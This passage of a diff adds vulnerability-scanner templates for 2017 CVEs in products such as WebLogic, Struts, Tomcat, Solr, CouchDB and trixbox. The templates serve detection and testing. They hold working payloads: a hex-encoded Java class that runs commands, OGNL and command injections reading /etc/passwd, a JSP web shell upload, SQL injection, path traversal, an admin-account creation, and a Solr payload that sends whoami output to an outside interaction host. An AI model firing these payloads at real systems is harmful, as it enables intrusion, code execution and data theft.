+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        words:
+          - "<script>alert(31337)</script>"
+        part: body

cves/2017/CVE-2017-10271.yaml

@@ -0,0 +1,67 @@
+id: CVE-2017-10271
+
+info:
+  name: CVE-2017-10271
+  author: dr_set
+  severity: high
+  description: Vulnerability in the Oracle WebLogic Server component of Oracle Fusion Middleware (subcomponent - WLS Security). Supported versions that are affected are 10.3.6.0.0, 12.1.3.0.0, 12.2.1.1.0 and 12.2.1.2.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via T3 to compromise Oracle WebLogic Server. Successful attacks of this vulnerability can result in takeover of Oracle WebLogic Server.
+  reference: https://github.com/vulhub/vulhub/tree/fda47b97c7d2809660a4471539cd0e6dbf8fac8c/weblogic/CVE-2017-10271
+  tags: cve,cve2017,rce,oracle,weblogic
+
+  # Source:- https://github.com/SuperHacker-liuan/cve-2017-10271-poc
+
+requests:
+  - raw:
+      - |
+          POST /wls-wsat/CoordinatorPortType HTTP/1.1
+          Host: {{Hostname}}
+          Accept: */*
+          Accept-Language: en
+          User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
+          Connection: close
+          Content-Type: text/xml
+          Content-Length: 5178
+
+          <?xml version="1.0" encoding="utf-8"?>
+          <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
+              <soapenv:Header>
+                  <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
+                      <java>
+                          <void class="weblogic.utils.Hex" method="fromHexString" id="cls">
+                              <string>0xcafebabe0000003200670a001700350800360a003700380a0039003a08003b0a0039003c07003d0a0007003508003e0a0039003f0a003900400b004100420800430800440800450800460700470a001100480a001100490a0011004a0a004b004c07004d07004e0100063c696e69743e010003282956010004436f646501000f4c696e654e756d6265725461626c650100124c6f63616c5661726961626c655461626c650100047468697301001e4c636f6d2f737570657265616d2f6578706c6f6974732f586d6c4578703b010003736179010029284c6a6176612f6c616e672f537472696e673b294c6a6176612f696f2f496e70757453747265616d3b010003636d640100124c6a6176612f6c616e672f537472696e673b01000769734c696e75780100015a0100056f73547970010004636d64730100104c6a6176612f7574696c2f4c6973743b01000e70726f636573734275696c64657201001a4c6a6176612f6c616e672f50726f636573734275696c6465723b01000470726f630100134c6a6176612f6c616e672f50726f636573733b0100164c6f63616c5661726961626c65547970655461626c650100244c6a6176612f7574696c2f4c6973743c4c6a6176612f6c616e672f537472696e673b3e3b01000d537461636b4d61705461626c6507004f07005001000a457863657074696f6e7307005101000a536f7572636546696c6501000b586d6c4578702e6a6176610c001800190100076f732e6e616d650700520c0053005407004f0c0055005601000377696e0c005700580100136a6176612f7574696c2f41727261794c697374010004244e4f240c0059005a0c005b005c0700500c005d005e0100092f62696e2f626173680100022d63010007636d642e6578650100022f630100186a6176612f6c616e672f50726f636573734275696c6465720c0018005f0c006000610c006200630700640c0065006601001c636f6d2f737570657265616d2f6578706c6f6974732f586d6c4578700100106a6176612f6c616e672f4f626a6563740100106a6176612f6c616e672f537472696e6701000e6a6176612f7574696c2f4c6973740100136a6176612f6c616e672f457863657074696f6e0100106a6176612f6c616e672f53797374656d01000b67657450726f7065727479010026284c6a6176612f6c616e672f537472696e673b294c6a6176612f6c616e672f537472696e673b01000b746f4c6f7765724361736501001428294c6a6176612f6c616e672f537472696e673b010008636f6e7461696e7301001b284c6a6176612f6c616e672f4368617253657175656e63653b295a01000a73746172747357697468010015284c6a6176612f6c616e672f537472696e673b295a010009737562737472696e670100152849294c6a6176612f6c616e672f537472696e673b010003616464010015284c6a6176612f6c616e672f4f626a6563743b295a010013284c6a6176612f7574696c2f4c6973743b295601001372656469726563744572726f7253747265616d01001d285a294c6a6176612f6c616e672f50726f636573734275696c6465723b010005737461727401001528294c6a6176612f6c616e672f50726f636573733b0100116a6176612f6c616e672f50726f6365737301000e676574496e70757453747265616d01001728294c6a6176612f696f2f496e70757453747265616d3b0021001600170000000000020001001800190001001a0000002f00010001000000052ab70001b100000002001b00000006000100000007001c0000000c000100000005001d001e00000001001f00200002001a0000016f000300070000009c043d1202b800034e2dc600112db600041205b60006990005033dbb000759b700083a042b1209b6000a99001319042b07b6000bb9000c020057a700441c9900231904120db9000c0200571904120eb9000c02005719042bb9000c020057a700201904120fb9000c02005719041210b9000c02005719042bb9000c020057bb0011591904b700123a05190504b60013571905b600143a061906b60015b000000004001b0000004a001200000012000200130008001400180015001a00180023001a002c001b003c001c0040001d004a001e0054001f00600021006a002200740023007d002600880027008f002800960029001c0000004800070000009c001d001e00000000009c0021002200010002009a00230024000200080094002500220003002300790026002700040088001400280029000500960006002a002b0006002c0000000c0001002300790026002d0004002e000000110004fd001a0107002ffc0021070030231c0031000000040001003200010033000000020034</string>
+                          </void>
+                          <void class="org.mozilla.classfile.DefiningClassLoader">
+                              <void method="defineClass">
+                                  <string>com.supeream.exploits.XmlExp</string>
+                                  <object idref="cls"></object>
+                                  <void method="newInstance">
+                                      <void method="say" id="proc">
+                                          <string>cat /etc/passwd</string>
+                                      </void>
+                                  </void>
+                              </void>
+                          </void>
+                          <void class="java.lang.Thread" method="currentThread">
+                              <void method="getCurrentWork">
+                                  <void method="getResponse">
+                                      <void method="getServletOutputStream">
+                                          <void method="writeStream">
+                                              <object idref="proc"></object>
+                                          </void>
+                                          <void method="flush"/>
+                                      </void>
+                                      <void method="getWriter"><void method="write"><string></string></void></void>
+                                  </void>
+                              </void>
+                          </void>
+                      </java>
+                  </work:WorkContext>
+              </soapenv:Header>
+              <soapenv:Body/>
+          </soapenv:Envelope>
+
+    matchers:
+      - type: regex
+        regex:
+          - 'root:[x*]:0:0'
+        part: body

cves/2017/CVE-2017-11444.yaml

@@ -0,0 +1,26 @@
+id: CVE-2017-11444
+
+info:
+  name: Subrion CMS SQL Injection
+  author: dwisiswant0
+  severity: high
+  description: Subrion CMS before 4.1.5.10 has a SQL injection vulnerability in /front/search.php via the $_GET array.
+  reference: https://github.com/intelliants/subrion/issues/479
+  tags: cve,cve2017,sqli,subrion
+
+  # Source:
+  # - https://mp.weixin.qq.com/s/89mCnjUCvmptLsKaeVlC9Q
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/search/members/?id`%3D520)%2f**%2funion%2f**%2fselect%2f**%2f1%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2Cunhex%28%2770726f6a656374646973636f766572792e696f%27%29%2C13%2C14%2C15%2C16%2C17%2C18%2C19%2C20%2C21%2C22%2C23%2C24%2C25%2C26%2C27%2C28%2C29%2C30%2C31%2C32%23sqli=1"
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "projectdiscovery.io"
+        part: body
+      - type: status
+        status:
+          - 200

cves/2017/CVE-2017-12149.yaml

@@ -0,0 +1,39 @@
+id: CVE-2017-12149
+
+info:
+  name: Java/Jboss Deserialization [RCE]
+  author: fopina
+  severity: critical
+  description: In Jboss Application Server as shipped with Red Hat Enterprise Application Platform 5.2, it was found that the doFilter method in the ReadOnlyAccessFilter of the HTTP Invoker does not restrict classes for which it performs deserialization and thus allowing an attacker to execute arbitrary code via crafted serialized data.
+  reference: |
+        - https://nvd.nist.gov/vuln/detail/CVE-2017-12149
+        - https://chowdera.com/2020/12/20201229190934023w.html
+        - https://github.com/vulhub/vulhub/tree/master/jboss/CVE-2017-12149
+  tags: cve,cve2017,java,rce,deserialization
+
+requests:
+  - raw:
+      - |
+        POST /invoker/JMXInvokerServlet/ HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/octet-stream
+
+        {{ base64_decode("rO0ABXNyABNqYXZhLnV0aWwuQXJyYXlMaXN0eIHSHZnHYZ0DAAFJAARzaXpleHAAAAACdwQAAAACdAAJZWxlbWVudCAxdAAJZWxlbWVudCAyeA==") }}
+      - |
+        POST /invoker/EJBInvokerServlet/ HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/octet-stream
+
+        {{ base64_decode("rO0ABXNyABNqYXZhLnV0aWwuQXJyYXlMaXN0eIHSHZnHYZ0DAAFJAARzaXpleHAAAAACdwQAAAACdAAJZWxlbWVudCAxdAAJZWxlbWVudCAyeA==") }}
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "ClassCastException"
+        part: body
+
+      - type: word
+        words:
+          - "application/x-java-serialized-object"
+        part: header

cves/2017/CVE-2017-12542.yaml

@@ -0,0 +1,34 @@
+id: CVE-2017-12542
+
+info:
+  name: ILO4 Authentication bypass
+  author: pikpikcu
+  severity: critical
+  description: A authentication bypass and execution of code vulnerability in HPE Integrated Lights-out 4 (iLO 4) version prior to 2.53 was found.
+  reference: |
+      - https://nvd.nist.gov/vuln/detail/CVE-2017-12542
+      - https://www.exploit-db.com/exploits/44005
+  tags: cve,cve2017,ilo4,hpe
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/rest/v1/AccountService/Accounts"
+    headers:
+      Connection: AAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "iLO User"
+        part: body
+
+      - type: word
+        words:
+          - "application/json"
+        part: header
+
+      - type: status
+        status:
+          - 200

cves/2017/CVE-2017-12611.yaml

@@ -0,0 +1,25 @@
+id: CVE-2017-12611
+
+info:
+  name: Apache Struts2 S2-053 RCE
+  author: pikpikcu
+  severity: critical
+  description: In Apache Struts 2.0.0 through 2.3.33 and 2.5 through 2.5.10.1, using an unintentional expression in a Freemarker tag instead of string literals can lead to a RCE attack.
+  reference: https://struts.apache.org/docs/s2-053.html
+  tags: cve,cve2017,apache,rce,struts
+
+requests:
+  - method: POST
+    path:
+      - "{{BaseURL}}/?name=%25%7B%28%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS%29.%28%23_memberAccess%3F%28%23_memberAccess%3D%23dm%29%3A%28%28%23container%3D%23context%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ognlUtil%3D%23container.getInstance%28%40com.opensymphony.xwork2.ognl.OgnlUtil%40class%29%29.%28%23ognlUtil.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ognlUtil.getExcludedClasses%28%29.clear%28%29%29.%28%23context.setMemberAccess%28%23dm%29%29%29%29.%28%23cmd%3D%27cat%20/etc/passwd%27%29.%28%23iswin%3D%28%40java.lang.System%40getProperty%28%27os.name%27%29.toLowerCase%28%29.contains%28%27win%27%29%29%29.%28%23cmds%3D%28%23iswin%3F%7B%27cmd.exe%27%2C%27/c%27%2C%23cmd%7D%3A%7B%27/bin/bash%27%2C%27-c%27%2C%23cmd%7D%29%29.%28%23p%3Dnew%20java.lang.ProcessBuilder%28%23cmds%29%29.%28%23p.redirectErrorStream%28true%29%29.%28%23process%3D%23p.start%28%29%29.%28%40org.apache.commons.io.IOUtils%40toString%28%23process.getInputStream%28%29%29%29%7D"
+
+    matchers-condition: and
+    matchers:
+
+      - type: regex
+        regex:
+          - "root:[x*]:0:0"
+
+      - type: status
+        status:
+          - 200

cves/2017/CVE-2017-12615.yaml

@@ -0,0 +1,50 @@
+id: CVE-2017-12615
+
+info:
+  name: Apache Tomcat RCE
+  author: pikpikcu
+  severity: critical
+  tags: cve,cve2017,apache,rce
+  reference: https://github.com/vulhub/vulhub/tree/master/tomcat/CVE-2017-12615
+  description: |
+        By design, you are not allowed to upload JSP files via the PUT method on the Apache Tomcat servers.
+        This is likely a security measure to prevent an attacker from uploading a JSP shell and gaining remote code execution on the server.
+        However, due to the insufficient checks, an attacker could gain remote code execution on 7.0.{0 to 79}
+        Tomcat servers that has enabled PUT by requesting PUT method on the Tomcat server using a specially crafted HTTP request.
+
+requests:
+  - method: PUT
+    path:
+      - "{{BaseURL}}/poc.jsp/"
+    headers:
+      Content-Type: application/x-www-form-urlencoded
+    body: |
+        <%@ page import="java.util.*,java.io.*"%>
+        <%
+        if (request.getParameter("cmd") != null) {
+                out.println("Command: " + request.getParameter("cmd") + "<BR>");
+                Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
+                OutputStream os = p.getOutputStream();
+                InputStream in = p.getInputStream();
+                DataInputStream dis = new DataInputStream(in);
+                String disr = dis.readLine();
+                while ( disr != null ) {
+                        out.println(disr);
+                        disr = dis.readLine();
+                        }
+                }
+        %>
+
+  - method: GET
+    path:
+      - "{{BaseURL}}/poc.jsp?cmd=cat+%2Fetc%2Fpasswd"
+
+    matchers-condition: and
+    matchers:
+      - type: regex
+        regex:
+          - "root:[x*]:0:0"
+        part: body
+      - type: status
+        status:
+          - 200

cves/2017/CVE-2017-12629.yaml

@@ -0,0 +1,26 @@
+id: CVE-2017-12629
+
+info:
+  name: Apache Solr <= 7.1 Remote Code Execution via SSRF
+  author: dwisiswant0
+  severity: critical
+  tags: cve,cve2017,solr,apache,rce,ssrf,oob
+  reference: |
+      - https://nvd.nist.gov/vuln/detail/CVE-2017-12629
+      - https://twitter.com/honoki/status/1298636315613974532/photo/1
+
+requests:
+  - raw:
+      - |
+        GET /solr/select?qt=%2Fconfig%2523%26&shards=127.0.0.1:8984/solq&stream.body=%7B%22add-listener%22%3A%7B%22event%22%3A%22postCommit%22%2C%22name%22%3A%22nuclei%22%2C%22class%22%3A%22solr.RunExecutableListener%22%2C%22exe%22%3A%22sh%22%2C%22dir%22%3A%22%2Fbin%2F%22%2C%22args%22%3A%5B%22-c%22%2C%22%24%40%7Csh%22%2C%22.%22%2C%22echo%22%2C%22nslookup%22%2C%22%24%28whoami%29.{{interactsh-url}}%22%5D%7D%7D&wt=json&isShard=true&q=apple HTTP/1.1
+        Host: {{Hostname}}
+
+      - |
+        GET /solr/select?shards=127.0.0.1:8984/solr/update%23&commit=true HTTP/1.1
+        Host: {{Hostname}}
+
+    matchers:
+      - type: word
+        part: interactsh_protocol # Confirms the DNS Interaction
+        words:
+          - "dns"

cves/2017/CVE-2017-12635.yaml

@@ -0,0 +1,48 @@
+id: CVE-2017-12635
+
+info:
+  name: Apache CouchDB 1.7.0 / 2.x < 2.1.1 Remote Privilege Escalation
+  author: pikpikcu
+  severity: high
+  description: Due to differences in the Erlang-based JSON parser and JavaScript-based JSON parser, it is possible in Apache CouchDB before 1.7.0 and 2.x before 2.1.1 to submit _users documents with duplicate keys for 'roles' used for access control within the database, including the special case '_admin' role, that denotes administrative users. In combination with CVE-2017-12636 (Remote Code Execution), this can be used to give non-admin users access to arbitrary shell commands on the server as the database system user. The JSON parser differences result in behaviour that if two 'roles' keys are available in the JSON, the second one will be used for authorising the document write, but the first 'roles' key is used for subsequent authorization for the newly created user. By design, users can not assign themselves roles. The vulnerability allows non-admin users to give themselves admin privileges.
+  reference: https://github.com/assalielmehdi/CVE-2017-12635
+  tags: cve,cve2017,couchdb
+
+requests:
+  - raw:
+      - |
+        PUT /_users/org.couchdb.user:poc HTTP/1.1
+        Host:  {{Hostname}}
+        User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0
+        Accept: application/json
+        Connection: close
+        Upgrade-Insecure-Requests: 1
+        Content-Length: 108
+
+        {
+          "type": "user",
+          "name": "poc",
+          "roles": ["_admin"],
+          "roles": [],
+          "password": "123456"
+        }
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "application/json"
+          - "Location:"
+        part: header
+
+      - type: word
+        words:
+          - "org.couchdb.user:poc"
+          - "conflict"
+          - "Document update conflict"
+        part: body
+
+      - type: status
+        status:
+          - 201
+          - 409

cves/2017/CVE-2017-12637.yaml

@@ -0,0 +1,28 @@
+id: CVE-2017-12637
+
+info:
+  name: Directory traversal vulnerability in SAP NetWeaver Application Server Java 7.5
+  author: apt-mirror
+  severity: high
+  description: Directory traversal vulnerability in scheduler/ui/js/ffffffffbca41eb4/UIUtilJavaScriptJS in SAP NetWeaver Application Server Java 7.5 allows remote attackers to read arbitrary files via a .. (dot dot) in the query string, as exploited in the wild in August 2017, aka SAP Security Note 2486657.
+  tags: cve,cve2017,sap,lfi
+  reference: |
+      - https://www.cvedetails.com/cve/CVE-2017-12637/
+      - https://nvd.nist.gov/vuln/detail/CVE-2017-12637
+      - https://download.ernw-insight.de/troopers/tr18/slides/TR18_SAP_SAP-Bugs-The-Phantom-Security.pdf
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/scheduler/ui/js/ffffffffbca41eb4/UIUtilJavaScriptJS?/.."
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        words:
+          - "WEB-INF"
+          - "META-INF"
+        condition: and
+        part: body

cves/2017/CVE-2017-12794.yaml

@@ -0,0 +1,33 @@
+id: CVE-2017-12794
+
+info:
+  name: Django debug page XSS
+  author: pikpikcu
+  severity: medium
+  reference: |
+    - https://twitter.com/sec715/status/1406779605055270914
+    - https://nvd.nist.gov/vuln/detail/CVE-2017-12794
+  description: |
+    In Django 1.10.x before 1.10.8 and 1.11.x before 1.11.5, HTML autoescaping was disabled in a portion of the template for the technical 500 debug page. Given the right circumstances, this allowed a cross-site scripting attack. This vulnerability shouldn't affect most production sites since you shouldn't run with "DEBUG = True" (which makes this page accessible) in your production settings.
+  tags: xss,django,cve,cve2017
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/create_user/?username=%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "<script>alert(document.domain)</script>"
+        part: body
+
+      - type: status
+        status:
+          - 200
+
+      - type: word
+        words:
+          - "text/html"
+        part: header

cves/2017/CVE-2017-14535.yaml

@@ -0,0 +1,32 @@
+id: CVE-2017-14535
+
+info:
+  name: Trixbox - 2.8.0.4 OS Command Injection Vulnerability
+  author: pikpikcu
+  severity: high
+  reference: |
+        - https://secur1tyadvisory.wordpress.com/2018/02/11/trixbox-os-command-injection-vulnerability-cve-2017-14535/
+        - https://www.exploit-db.com/exploits/49913
+  tags: cve,cve2017,trixbox,rce
+
+requests:
+  - raw:
+      - |
+        GET /maint/modules/home/index.php?lang=english|cat%20/etc/passwd HTTP/1.1
+        Host: {{Hostname}}
+        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
+        Accept-Language: de,en-US;q=0.7,en;q=0.3
+        Authorization: Basic bWFpbnQ6cGFzc3dvcmQ=
+        Connection: close
+        Cache-Control: max-age=0
+
+    matchers-condition: and
+    matchers:
+
+      - type: regex
+        regex:
+          - "root:[x*]:0:0"
+
+      - type: status
+        status:
+          - 200

cves/2017/CVE-2017-14537.yaml

@@ -0,0 +1,51 @@
+id: CVE-2017-14537
+
+info:
+  name: trixbox 2.8.0 - directory-traversal
+  author: pikpikcu
+  severity: medium
+  tags: cve,cve2017,trixbox,lfi
+  description: trixbox 2.8.0.4 has path traversal via the xajaxargs array parameter to /maint/index.php?packages or the lang parameter to /maint/modules/home/index.php.
+  reference: |
+      - https://nvd.nist.gov/vuln/detail/CVE-2017-14537
+      - https://secur1tyadvisory.wordpress.com/2018/02/13/trixbox-multiple-path-traversal-vulnerabilities-cve-2017-14537/
+      - Product vendor:-https://sourceforge.net/projects/asteriskathome/
+
+requests:
+  - raw:
+      - |
+        POST /maint/index.php?packages HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0
+        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+        Accept-Language: en-US,en;q=0.5
+        Content-Type: application/x-www-form-urlencoded
+        Referer: {{Hostname}}/maint/index.php?packages
+        Content-Length: 160
+        Cookie: lng=en; security_level=0; PHPSESSID=7fasl890v1c51vu0d31oemt3j1; ARI=teev7d0kgvdko8u5b26p3335a2
+        Authorization: Basic bWFpbnQ6cGFzc3dvcmQ=
+        Connection: keep-alive
+
+        xajax=menu&xajaxr=1504969293893&xajaxargs[]=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd&xajaxargs[]=yumPackages
+
+      - |
+        GET /maint/modules/home/index.php?lang=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd%00english HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0
+        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+        Accept-Language: en-US,en;q=0.5
+        Referer: {{Hostname}}/maint/index.php?packages
+        Cookie: lng=en; security_level=0; PHPSESSID=7fasl890v1c51vu0d31oemt3j1; ARI=teev7d0kgvdko8u5b26p3335a2
+        Authorization: Basic bWFpbnQ6cGFzc3dvcmQ=
+        Connection: keep-alive
+        Upgrade-Insecure-Requests: 1
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: regex
+        regex:
+          - "root:[x*]:0:0:"
+        part: body

cves/2017/CVE-2017-14849.yaml

@@ -0,0 +1,22 @@
+id: CVE-2017-14849
+
+info:
+  name: Node.js 8.5.0 >=< 8.6.0 Directory Traversal
+  author: Random_Robbie
+  severity: high
+  description: Node.js 8.5.0 before 8.6.0 allows remote attackers to access unintended files, because a change to ".." handling was incompatible with the pathname validation used by unspecified community modules.
+  tags: cve,cve2017,nodejs,lfi
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/static/../../../a/../../../../etc/passwd"
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: regex
+        regex:
+          - "root:[x*]:0:0:"
+        part: body

cves/2017/CVE-2017-15715.yaml

@@ -0,0 +1,45 @@
+id: CVE-2017-15715
+
+info:
+  name: Apache Arbitrary File Upload
+  author: geeknik
+  description: In Apache httpd 2.4.0 to 2.4.29, the expression specified in <FilesMatch> could match '$' to a newline character in a malicious filename, rather than matching only the end of the filename. This could be exploited in environments where uploads of some files are are externally blocked, but only by matching the trailing portion of the filename.
+  reference: https://github.com/vulhub/vulhub/tree/master/httpd/CVE-2017-15715
+  severity: high
+  tags: cve,cve2017,apache,httpd,fileupload
+
+requests:
+  - raw:
+      - |
+        POST / HTTP/1.1
+        Host: {{Hostname}}
+        Content-Length: 264
+        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryKc8fBVDo558U4hbJ
+        Accept-Encoding: gzip, deflate
+        Connection: close
+
+        ------WebKitFormBoundaryKc8fBVDo558U4hbJ
+        Content-Disposition: form-data; name="file"; filename="{{randstr}}.php"
+
+        {{randstr_1}}
+
+        ------WebKitFormBoundaryKc8fBVDo558U4hbJ
+        Content-Disposition: form-data; name="name"
+
+        {{randstr}}.php\x0A
+        ------WebKitFormBoundaryKc8fBVDo558U4hbJ--
+
+      - |
+        GET /{{randstr}}.php\x0A HTTP/1.1
+        Host: {{Hostname}}
+        Accept-Encoding: gzip,deflate
+        Accept: */*
+        Accept-Language: en
+        User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
+        Connection: close
+
+    req-condition: true
+    matchers:
+      - type: dsl
+        dsl:
+          - 'contains(body_2, "{{randstr_1}}")'

cves/2017/CVE-2017-15944.yaml

@@ -0,0 +1,24 @@
+id: CVE-2017-15944
+
+info:
+  name: PreAuth RCE on Palo Alto GlobalProtect
+  author: emadshanab
+  reference: http://blog.orange.tw/2019/07/attacking-ssl-vpn-part-1-preauth-rce-on-palo-alto.html
+  severity: high
+  tags: cve,cve2017,rce,vpn,paloalto
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/global-protect/portal/css/login.css"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "Last-Modified: Sun, 10 Sep 2017 16:48:23 GMT"
+        part: header
+
+      - type: status
+        status:
+          - 200

cves/2017/CVE-2017-16806.yaml

@@ -0,0 +1,26 @@
+id: CVE-2017-16806
+
+info:
+  name: Ulterius Server < 1.9.5.0 - Directory Traversal
+  author: geeknik
+  reference: https://www.exploit-db.com/exploits/43141
+  severity: high
+  tags: cve,cve2017,ulterius,traversal
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/.../.../.../.../.../.../.../.../.../windows/win.ini"
+      - "{{BaseURL}}/.../.../.../.../.../.../.../.../.../etc/passwd"
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: regex
+        regex:
+          - "root:[x*]:0:0:"
+          - "\\[(font|extension|file)s\\]"
+        conditon: or
+        part: body

cves/2017/CVE-2017-16877.yaml

@@ -0,0 +1,27 @@
+id: CVE-2017-16877
+
+info:
+  name: Nextjs v2.4.1 LFI
+  author: pikpikcu
+  severity: high
+  description: ZEIT Next.js before 2.4.1 has directory traversal under the /_next and /static request namespace, allowing attackers to obtain sensitive information.
+  reference: https://medium.com/@theRaz0r/arbitrary-file-reading-in-next-js-2-4-1-34104c4e75e9
+  tags: cve,cve2017,nextjs,lfi
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/_next/../../../../../../../../../../etc/passwd"
+
+    matchers-condition: and
+    matchers:
+
+      - type: regex
+        regex:
+          - "root:[x*]:0:0"
+        part: body
+        condition: and
+
+      - type: status
+        status:
+          - 200

cves/2017/CVE-2017-17562.yaml

@@ -0,0 +1,100 @@
+id: CVE-2017-17562
+
+info:
+  name: Embedthis GoAhead RCE
+  description: Embedthis GoAhead before 3.6.5 allows remote code execution if CGI is enabled and a CGI program is dynamically linked.
+  author: geeknik
+  reference: |
+    - https://www.elttam.com/blog/goahead/
+    - https://github.com/ivanitlearning/CVE-2017-17562
+    - https://github.com/vulhub/vulhub/tree/master/goahead/CVE-2017-17562
+  severity: high
+  tags: cve,cve2017,rce,embedthis,goahead,fuzz
+
+requests:
+  - payloads:
+      endpoint:
+        - admin
+        - apply
+        - non-CA-rev
+        - cgitest
+        - checkCookie
+        - check_user
+        - chn/liveView
+        - cht/liveView
+        - cnswebserver
+        - config
+        - configure/set_link_neg
+        - configure/swports_adjust
+        - eng/liveView
+        - firmware
+        - getCheckCode
+        - get_status
+        - getmac
+        - getparam
+        - guest/Login
+        - home
+        - htmlmgr
+        - index
+        - index/login
+        - jscript
+        - kvm
+        - liveView
+        - login
+        - login.asp
+        - login/login
+        - login/login-page
+        - login_mgr
+        - luci
+        - main
+        - main-cgi
+        - manage/login
+        - menu
+        - mlogin
+        - netbinary
+        - nobody/Captcha
+        - nobody/VerifyCode
+        - normal_userLogin
+        - otgw
+        - page
+        - rulectl
+        - service
+        - set_new_config
+        - sl_webviewer
+        - ssi
+        - status
+        - sysconf
+        - systemutil
+        - t/out
+        - top
+        - unauth
+        - upload
+        - variable
+        - wanstatu
+        - webcm
+        - webmain
+        - webproc
+        - webscr
+        - webviewLogin
+        - webviewLogin_m64
+        - webviewer
+        - welcome
+    raw:
+      - |
+        GET /cgi-bin/§endpoint§?LD_DEBUG=help HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
+        Accept: */*
+        Connection: close
+
+    attack: sniper
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        words:
+          - "environment variable"
+          - "display library search paths"
+        condition: and

cves/2017/CVE-2017-3506.yaml

@@ -0,0 +1,44 @@
+id: CVE-2017-3506
+
+info:
+  name: Oracle Weblogic Remote OS Command Execution
+  author: pdteam
+  description: Vulnerability in the Oracle WebLogic Server component of Oracle Fusion Middleware (Web Services). Supported versions that are affected are 10.3.6.0, 12.1.3.0, 12.2.1.0, 12.2.1.1 and 12.2.1.2. Difficult to exploit vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle WebLogic Server.
+  severity: high
+  tags: cve,cve2017,weblogic,oracle,rce,oob
+  reference: |
+      - https://hackerone.com/reports/810778
+      - https://nvd.nist.gov/vuln/detail/CVE-2017-3506
+
+requests:
+  - raw:
+      - |
+        POST /wls-wsat/RegistrationRequesterPortType HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: text/xml
+        User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0,
+        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8,
+        Content-Type: text/xml;charset=UTF-8
+        Content-Length: 873
+
+        <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
+          <soapenv:Header>
+            <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
+              <java version="1.8" class="java.beans.XMLDecoder">
+                <void id="url" class="java.net.URL">
+                  <string>http://{{interactsh-url}}</string>
+                </void>
+                <void idref="url">
+                  <void id="stream" method ="openStream"/>
+                </void>
+              </java>
+            </work:WorkContext>
+            </soapenv:Header>
+          <soapenv:Body/>
+        </soapenv:Envelope>
+
+    matchers:
+      - type: word
+        part: interactsh_protocol # Confirms the HTTP Interaction
+        words:
+          - "http"

cves/2017/CVE-2017-3528.yaml

@@ -0,0 +1,21 @@
+id: CVE-2017-3528
+
+info:
+  name: Oracle E-Business Suite 12.1.3/12.2.x - Open Redirect
+  author: 0x_Akoko
+  severity: low
+  reference: |
+      - https://blog.zsec.uk/cve-2017-3528/
+      - https://www.exploit-db.com/exploits/43592
+  tags: oracle,redirect
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/OA_HTML/cabo/jsps/a.jsp?_t=fredRC&configName=&redirect=%2f%5cexample.com"
+
+    matchers:
+      - type: word
+        words:
+          - 'noresize src="/\example.com?configName='
+        part: body

cves/2017/CVE-2017-3881.yaml

@@ -0,0 +1,26 @@
+id: CVE-2017-3881
+
+info:
